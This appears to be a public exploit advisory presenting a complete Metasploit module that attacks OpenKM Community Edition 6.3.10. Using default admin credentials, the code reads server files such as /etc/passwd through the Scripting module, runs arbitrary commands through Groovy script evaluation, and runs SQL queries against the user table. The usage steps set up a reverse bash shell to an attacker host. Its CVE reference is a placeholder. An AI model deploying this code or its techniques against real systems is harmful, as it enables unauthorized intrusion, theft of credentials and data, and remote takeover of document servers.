OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL Injection

OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL OpenKM Community Edition 6.3.10 Code Execution / LFI / SQL Injection

=============================================================================================================================================
| # Title : OpenKM Community Edition 6.3.10 Multiple Vulnerabilities Exploit Module (Metasploit) |
| # Author : indoushka |
| # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.1 (64 bits) |
| # Vendor : https://www.openkm.com/ |
=============================================================================================================================================

[+] References : https://packetstorm.news/files/id/214050/ &

[+] Summary : This Metasploit module targets multiple vulnerabilities in the OpenKM document management system. It includes capabilities for:

Local File Inclusion (LFI) via the Scripting module.

Remote Code Execution (RCE) through Groovy script evaluation.

SQL Injection (SQLi) via the DatabaseQuery module.

The module was designed for OpenKM Community Edition 6.3.10 but can serve as a proof-of-concept for other vulnerable versions.
It requires authentication with admin-level credentials for most attacks. The module demonstrates exploitation techniques for research and testing purposes.
It is primarily a PoC and not guaranteed to succeed in all environments, depending on configuration, patching, and security hardening.


[+] Notes:

LFI requires the Scripting module and valid CSRF token.

RCE executes commands through Groovy; restricted environments may prevent exploitation.

SQLi works if the DatabaseQuery module is accessible and unrestricted.

This module is intended for lab testing, research, or authorized penetration testing only.

[+] Impact: Unauthorized reading of files, remote command execution, and data disclosure from SQL injection.

[+] POC :

# Test scan only

msfconsole
use exploit/multi/http/openkm_vulns
set RHOSTS target_ip
set RPORT 8080
check

# Test LFI

set EXPLOIT_TYPE LFI
set LFI_FILE /etc/passwd
run

# Test RCE (without payload)

set EXPLOIT_TYPE RCE
run

# Test RCE (with payload)

set EXPLOIT_TYPE RCE
set PAYLOAD cmd/unix/reverse_bash
set LHOST attacker_ip
exploit

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
Rank = NormalRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper

def initialize(info = {})
super(update_info(info,
'Name' => 'OpenKM Multiple Vulnerabilities Exploit',
'Description' => %q{
This module exploits multiple vulnerabilities in OpenKM document management system.
Vulnerabilities include:
1. Local File Inclusion (LFI) in Scripting module
2. Remote Code Execution (RCE) via Groovy scripting
3. SQL Injection in DatabaseQuery module

Tested on OpenKM Community Edition 6.3.10
},
'License' => MSF_LICENSE,
'Author' => [
'indoushka' # Module conversion
],
'References' => [
['CVE', 'CVE-2024-XXXXX'],
['URL', 'https://terrasystemlabs.com/research']
],
'Platform' => ['unix', 'linux'],
'Arch' => ARCH_CMD,
'Payload' => {
'Space' => 2048,
'DisableNops' => true,
'Compat' => {
'PayloadType' => 'cmd',
'RequiredCmd' => 'generic netcat bash perl python'
}
},
'Targets' => [
['Automatic', {}]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'SSL' => false,
'RPORT' => 8080
},
'DisclosureDate' => '2024-01-01',
'Notes' => {
'Stability' => [CRASH_SAFE],
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES]
}
))

register_options([
OptString.new('TARGETURI', [true, 'The base path to OpenKM', '/OpenKM']),
OptString.new('USERNAME', [true, 'Username to authenticate', 'okmAdmin']),
OptString.new('PASSWORD', [true, 'Password to authenticate', 'admin']),
OptEnum.new('EXPLOIT_TYPE', [
true, 'Type of exploit to use', 'RCE',
['LFI', 'RCE', 'SQLI']
]),
OptString.new('LFI_FILE', [false, 'File to read for LFI exploit', '/etc/passwd']),
OptString.new('SQL_QUERY', [false, 'SQL query to execute', 'SELECT * FROM OKM_USER'])
])
end

def check
print_status("Checking if target is OpenKM and vulnerable...")

# Check 1: Version detection via GWT RPC
version_info = get_version
if version_info
print_good("Detected OpenKM version: #{version_info}")
return Exploit::CheckCode::Appears
end

# Check 2: Try to access login page
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'index.jsp')
})

if res && res.code == 200 && res.body.include?('OpenKM')
print_warning("OpenKM detected but version check failed")
return Exploit::CheckCode::Detected
end

Exploit::CheckCode::Safe
end

def get_version
uri = normalize_uri(target_uri.path, 'frontend', 'Workspace')

res = send_request_cgi({
'method' => 'POST',
'uri' => uri,
'headers' => {
'Content-Type' => 'text/x-gwt-rpc; charset=utf-8',
'X-GWT-Module-Base' => "#{get_uri}frontend/"
},
'data' => "7|0|4|#{get_uri}frontend/|42DC97C6A4E30E734F8CCD1FE2250214|com.openkm.frontend.client.service.OKMWorkspaceService|getUserWorkspace|1|2|3|4|0|"
})

if res && res.code == 200 && res.body.include?('//OK')
# Parse version from response
if res.body =~ /com\.openkm\.frontend\.client\.bean\.GWTAppVersion/
version_match = res.body.scan(/"(\d+\.\d+\.\d+)"/).flatten.first
return version_match if version_match
end
return "Unknown (GWT response detected)"
end
nil
end

def login
print_status("Attempting to login with #{datastore['USERNAME']}:#{datastore['PASSWORD']}")

# First get the login page for session
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'login.jsp')
})

return false unless res

# Perform login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'j_spring_security_check'),
'vars_post' => {
'j_username' => datastore['USERNAME'],
'j_password' => datastore['PASSWORD'],
'j_language' => 'en-GB',
'submit' => ''
},
'headers' => {
'Referer' => "#{get_uri}#{normalize_uri(target_uri.path, 'login.jsp')}"
}
})

if res && (res.code == 302 || res.code == 200)
# Check if we're redirected to dashboard
if res.headers['Location'] && !res.headers['Location'].include?('error')
print_good("Login successful")
@cookie = res.get_cookies
return true
elsif res.code == 200 && res.body.include?('Dashboard')
print_good("Login successful (no redirect)")
@cookie = res.get_cookies
return true
end
end

print_error("Login failed")
false
end

def get_csrf_token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'),
'cookie' => @cookie
})

return nil unless res && res.code == 200

# Extract CSRF token
if res.body =~ /name="csrft"\s+value="([^"]+)"/
return Regexp.last_match(1)
end

nil
end

def exploit_lfi(file_path)
print_status("Attempting LFI exploit for file: #{file_path}")

csrf_token = get_csrf_token
unless csrf_token
print_error("Could not obtain CSRF token")
return false
end

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'),
'cookie' => @cookie,
'vars_post' => {
'csrft' => csrf_token,
'script' => '',
'fsPath' => file_path,
'action' => 'Load'
}
})

if res && res.code == 200
# Extract content from textarea
if res.body =~ /<textarea[^>]*id="script"[^>]*>([\s\S]*?)<\/textarea>/
content = Regexp.last_match(1).strip
if !content.empty?
print_good("Successfully read file:")
print_line(content)

# Save to loot
loot_path = store_loot(
'openkm.lfi.data',
'text/plain',
rhost,
content,
file_path,
'OpenKM LFI Exploit'
)
print_good("File saved to: #{loot_path}")
return true
end
end
end

print_error("LFI exploit failed")
false
end

def exploit_rce(cmd)
print_status("Attempting RCE with command: #{cmd}")

csrf_token = get_csrf_token
unless csrf_token
print_error("Could not obtain CSRF token")
return false
end

# Groovy script for command execution
groovy_script = <<~GROOVY
def cmd = "#{cmd.gsub('"', '\\"')}"
def process = cmd.execute()
def output = process.text
print("CMD_OUTPUT:" + output)
GROOVY

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'Scripting'),
'cookie' => @cookie,
'vars_post' => {
'csrft' => csrf_token,
'script' => groovy_script,
'fsPath' => '',
'action' => 'Evaluate'
}
})

if res && res.code == 200
if res.body.include?('CMD_OUTPUT:')
# Extract command output
output = res.body.split('CMD_OUTPUT:').last
output = output.split('<').first.strip if output.include?('<')

print_good("Command executed successfully:")
print_line(output)

# Save to loot
loot_path = store_loot(
'openkm.rce.output',
'text/plain',
rhost,
output,
"Command: #{cmd}",
'OpenKM RCE Exploit'
)
print_good("Output saved to: #{loot_path}")
return true
end
end

print_error("RCE exploit failed")
false
end

def exploit_sqli(query)
print_status("Attempting SQL Injection with query: #{query}")

# Construct multipart form data for SQL query
boundary = "----WebKitFormBoundary#{rand(36**20).to_s(36)}"

post_data = "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"qs\"\r\n\r\n"
post_data << "#{query};\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"tables\"\r\n\r\n"
post_data << "OKM_USER\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"vtables\"\r\n\r\n\r\n"
post_data << "--#{boundary}\r\n"
post_data << "Content-Disposition: form-data; name=\"type\"\r\n\r\n"
post_data << "jdbc\r\n"
post_data << "--#{boundary}--\r\n"

res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'admin', 'DatabaseQuery'),
'cookie' => @cookie,
'headers' => {
'Content-Type' => "multipart/form-data; boundary=#{boundary}"
},
'data' => post_data
})

if res && res.code == 200
# Parse HTML table results
if res.body.include?('<table class="results-old">')
# Extract table data
require 'nokogiri'
doc = Nokogiri::HTML(res.body)
table = doc.at('table.results-old')

if table
print_good("SQL query executed successfully")

# Extract and display data
rows = table.search('tr')
headers = rows.first.search('th, td').map(&:text)

# Print table
table_data = []
rows[1..-1].each do |row|
cells = row.search('td').map(&:text)
table_data << cells
print_line(cells.join(' | '))
end

# Save to loot
loot_content = "Query: #{query}\n\n"
loot_content << headers.join(' | ') + "\n"
table_data.each { |row| loot_content << row.join(' | ') + "\n" }

loot_path = store_loot(
'openkm.sqli.results',
'text/plain',
rhost,
loot_content,
'sql_results.txt',
'OpenKM SQL Injection Exploit'
)
print_good("Results saved to: #{loot_path}")
return true
end
end
end

print_error("SQL Injection exploit failed")
false
end

def exploit
# Main exploit method
print_status("Starting OpenKM exploit module")

# Check if target is vulnerable
check_code = check
unless check_code == Exploit::CheckCode::Appears || datastore['ForceExploit']
fail_with(Failure::NotVulnerable, 'Target does not appear to be vulnerable')
end

# Login
unless login
fail_with(Failure::NoAccess, 'Authentication failed')
end

# Execute based on exploit type
case datastore['EXPLOIT_TYPE']
when 'LFI'
file = datastore['LFI_FILE'] || '/etc/passwd'
success = exploit_lfi(file)

when 'RCE'
# Use payload if provided, otherwise use datastore command
cmd = payload.encoded || 'whoami'
success = exploit_rce(cmd)

if success && payload.encoded
print_good("Shell payload delivered successfully")
handler
end

when 'SQLI'
query = datastore['SQL_QUERY'] || 'SELECT * FROM OKM_USER'
success = exploit_sqli(query)

else
fail_with(Failure::BadConfig, "Invalid exploit type: #{datastore['EXPLOIT_TYPE']}")
end

# Report vulnerability
if success
report_vuln(
host: rhost,
port: rport,
name: self.name,
refs: self.references,
info: "Exploited via #{datastore['EXPLOIT_TYPE']}"
)
end

success
end

def get_uri
proto = datastore['SSL'] ? 'https://' : 'http://'
"#{proto}#{rhost}:#{rport}"
end
end

Greetings to :=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
===================================================================================================